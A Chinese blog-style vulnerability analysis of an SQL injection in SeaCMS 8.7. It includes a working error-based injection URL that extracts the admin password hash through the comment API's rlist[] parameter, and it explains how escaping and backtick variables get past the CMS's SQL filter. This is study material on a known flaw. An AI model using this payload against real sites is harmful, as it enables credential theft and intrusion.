用户
搜索

Seacms 8.7版本SQL注入分析

2019-3-7 14:14| 发布者: 桃子Tz| 查看: 202| 评论: 0|原作者: F0rmat

0x01 前言


好像没发文章了,在t00ls看到一篇seacms8.7的分析文,不过不是最新的版本,好久没看到seacms和maccms这两个cms发新的漏洞了,那个过滤有点恶心。后来还在nosec看到一篇离新版9.0比较近的一个版本8.9的一个变量覆盖到sql注入文章,但是我复现不成功,我拿的是6.53的版本,原因后面会讲到。

本文首发博客:https://getpass.cn/Seacms8.7-sql-injection-analysis/

欢迎关注我的专栏:https://zhuanlan.zhihu.com/wosrc

小菜平时喜欢写点小白文,不喜勿喷。


0x02 环境


Web: phpstudy and MAMP

System: Windows 7 X64 and MacOS

Browser: Firefox Quantum and Chrome

MySQL:  5.5

php:  5.4


0x03 漏洞详情


漏洞复现


payload:


http://10.211.55.4/upload/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20(password)from%20sea_admin))),@`%27`


漏洞分析


在此之前我在MySQL 5.6、5.7上面复现都不成功,因为这两个版本用extractvalue()updatexml()报错注入不成功,后来换了系统Linux和Windows还有macOS来测试也是一样,和PHP、Apache的版本没有影响只要的还是MySQL的版本问题,所以大家测试的时候注意一下版本。


漏洞文件是在:comment/api/index.php


<?php
session_start();
require_once("../../include/common.php");
$id = (isset($gid) && is_numeric($gid)) ? $gid : 0;
$page = (isset($page) && is_numeric($page)) ? $page : 1;
$type = (isset($type) && is_numeric($type)) ? $type : 1;
$pCount = 0;
$jsoncachefile = sea_DATA."/cache/review/$type/$id.js";
//缓存第一页的评论
if($page<2)
{
        if(file_exists($jsoncachefile))
        {
                $json=LoadFile($jsoncachefile);
                die($json);
        }
}
$h = ReadData($id,$page);
$rlist = array();
if($page<2)
{
        createTextFile($h,$jsoncachefile);
}
die($h);        

function ReadData($id,$page)
{
        global $type,$pCount,$rlist;
        $ret = array("","",$page,0,10,$type,$id);
        if($id>0)
        {
                $ret[zxsq-anti-bbcode-0] = Readmlist($id,$page,$ret[zxsq-anti-bbcode-4]);
                $ret[zxsq-anti-bbcode-3] = $pCount;
                $x = implode(',',$rlist);
                if(!empty($x))
                {
                $ret[zxsq-anti-bbcode-1] = Readrlist($x,1,10000);
                }
        }        
        $readData = FormatJson($ret);
        return $readData;
}

function Readmlist($id,$page,$size)
{
        global $dsql,$type,$pCount,$rlist;
        $ml=array();
        if($id>0)
        {
                $sqlCount = "SELECT count(*) as dd FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC";
                $rs = $dsql ->GetOne($sqlCount);
                $pCount = ceil($rs[zxsq-anti-bbcode-'dd']/$size);
                $sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC limit ".($page-1)*$size.",$size ";
                $dsql->setQuery($sql);
                $dsql->Execute('commentmlist');
                while($row=$dsql->GetArray('commentmlist'))
                {
                        $row[zxsq-anti-bbcode-'reply'].=ReadReplyID($id,$row[zxsq-anti-bbcode-'reply'],$rlist);
                        $ml[zxsq-anti-bbcode-]="{\"cmid\":".$row['id'].",\"uid\":".$row[zxsq-anti-bbcode-'uid'].",\"tmp\":\"\",\"nick\":\"".$row[zxsq-anti-bbcode-'username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row[zxsq-anti-bbcode-'username'])?1:0).",\"from\":\"".$row[zxsq-anti-bbcode-'username']."\",\"time\":\"".date("Y/n/j H:i:s",$row[zxsq-anti-bbcode-'dtime'])."\",\"reply\":\"".$row[zxsq-anti-bbcode-'reply']."\",\"content\":\"".$row[zxsq-anti-bbcode-'msg']."\",\"agree\":".$row[zxsq-anti-bbcode-'agree'].",\"aginst\":".$row[zxsq-anti-bbcode-'anti'].",\"pic\":\"".$row[zxsq-anti-bbcode-'pic']."\",\"vote\":\"".$row[zxsq-anti-bbcode-'vote']."\",\"allow\":\"".(empty($row[zxsq-anti-bbcode-'anti'])?0:1)."\",\"check\":\"".$row[zxsq-anti-bbcode-'ischeck']."\"}";
                }
        }
        $readmlist=join($ml,",");
        return $readmlist;
}

function Readrlist($ids,$page,$size)
{
        global $dsql,$type;
        $rl=array();
        $sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC";
        $dsql->setQuery($sql);
        $dsql->Execute('commentrlist');
        while($row=$dsql->GetArray('commentrlist'))
        {
                $rl[zxsq-anti-bbcode-]="\"".$row['id']."\":{\"uid\":".$row[zxsq-anti-bbcode-'uid'].",\"tmp\":\"\",\"nick\":\"".$row[zxsq-anti-bbcode-'username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row[zxsq-anti-bbcode-'username'])?1:0).",\"from\":\"".$row[zxsq-anti-bbcode-'username']."\",\"time\":\"".$row[zxsq-anti-bbcode-'dtime']."\",\"reply\":\"".$row[zxsq-anti-bbcode-'reply']."\",\"content\":\"".$row[zxsq-anti-bbcode-'msg']."\",\"agree\":".$row[zxsq-anti-bbcode-'agree'].",\"aginst\":".$row[zxsq-anti-bbcode-'anti'].",\"pic\":\"".$row[zxsq-anti-bbcode-'pic']."\",\"vote\":\"".$row[zxsq-anti-bbcode-'vote']."\",\"allow\":\"".(empty($row[zxsq-anti-bbcode-'anti'])?0:1)."\",\"check\":\"".$row[zxsq-anti-bbcode-'ischeck']."\"}";
        }
        $readrlist=join($rl,",");
        return $readrlist;
}

传入$rlist的值为我们构造的sql语句:


@`'`, extractvalue(1, concat_ws(0x20, 0x5c,(select (password)from sea_admin))),@`'`

通过ReadData函数,implode处理后传入Readrlist函数


可以看到执行的SQL语句是



它在$dsql->Execute('commentrlist');这句的时候会有一个SQL的安全检测


文件在include/sql.class.phpCheckSql函数


//完整的SQL检查
        while (true)
        {
                $pos = strpos($db_string, '\'', $pos + 1);
                if ($pos === false)
                {
                        break;
                }
                $clean .= substr($db_string, $old_pos, $pos - $old_pos);
                while (true)
                {
                        $pos1 = strpos($db_string, '\'', $pos + 1);
                        $pos2 = strpos($db_string, '\\', $pos + 1);
                        if ($pos1 === false)
                        {
                                break;
                        }
                        elseif ($pos2 == false || $pos2 > $pos1)
                        {
                                $pos = $pos1;
                                break;
                        }
                        $pos = $pos2 + 1;
                }
                $clean .= '$s$';
                $old_pos = $pos + 1;
        }
        $clean .= substr($db_string, $old_pos);
        $clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));

可以看到这里没有把我们的报错函数部分代入进去,如果代入进去检测的话就会这里检测到



所以上面构造的语句也很有意思



后面$clean就是要送去检测的函数,通过一番处理后得到的值为



后面返回来执行的的SQL语句还是原样没动



基本分析就完成了。


最终执行的语句:


SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=1 AND id in (@`\'`, extractvalue(1, concat_ws(0x20, 0x5c,(select (password)from sea_admin))),@`\'`) ORDER BY id DESC

还有一些问题就是构造语句的问题。


刚开始传入的%27后面怎么变成了转义后的单引号?


开头的时候require_once("../../include/common.php");就包含了这个文件,里面有一个_RunMagicQuotes函数,如果PHP配置没有开启get_magic_quotes_gpc就会用到这个函数,这个函数是把值经过addslashes函数的处理。此函数的作用是为所有的 ' (单引号), \" (双引号), \ (反斜线) and 空字符和以会自动转为含有反斜线的转义字符。


所以后面的SQL语句就会加上转义符号,然后经过CheckSql函数的时候就绕过了对报错语句的检测。


function _RunMagicQuotes(&$svar)
{
        if(!get_magic_quotes_gpc())
        {
                if( is_array($svar) )
                {
                        foreach($svar as $_k => $_v) $svar[zxsq-anti-bbcode-$_k] = _RunMagicQuotes($_v);
                }
                else
                {
                        $svar = addslashes($svar);
                }
        }
        return $svar;
}

为什么要加上``两个反引号和@?


in在MySQL里面用法是:


select * from where field in (value1,value2,value3,…)


value1必须是一个值,整数型或者文本型都可以,如果用单引号的话就会变成三个转义\'\'\'


`在MySQL上面是作为一个转义符号来使用,一般为了不让和系统的变量冲突所以使用,一般在数据库名、表名、字段名使用,所以这里用@来使这个成为一个变量类型。


0x04 后记


在6.53的版本中include/common.php中的44-47行接收到变量


foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
        foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}

但是在75行这里又重新赋值了


require_once(sea_DATA."/config.cache.inc.php");


不懂8.9的版本是否是这样,在官网拿不到8.9的源码。


0x05 参考


https://www.cnblogs.com/shijianchuzhenzhi/p/6193097.html


https://www.t00ls.net/thread-49691-1-1.html


https://nosec.org/home/detail/2222.html


https://blog.csdn.net/zpy1998zpy/article/details/80631036


https://www.cnblogs.com/Lcy-Sun0419/p/7843912.html


鲜花
鲜花 (1)
握手
握手
雷人
雷人
路过
路过
鸡蛋
鸡蛋

刚表态过的朋友 (1 人)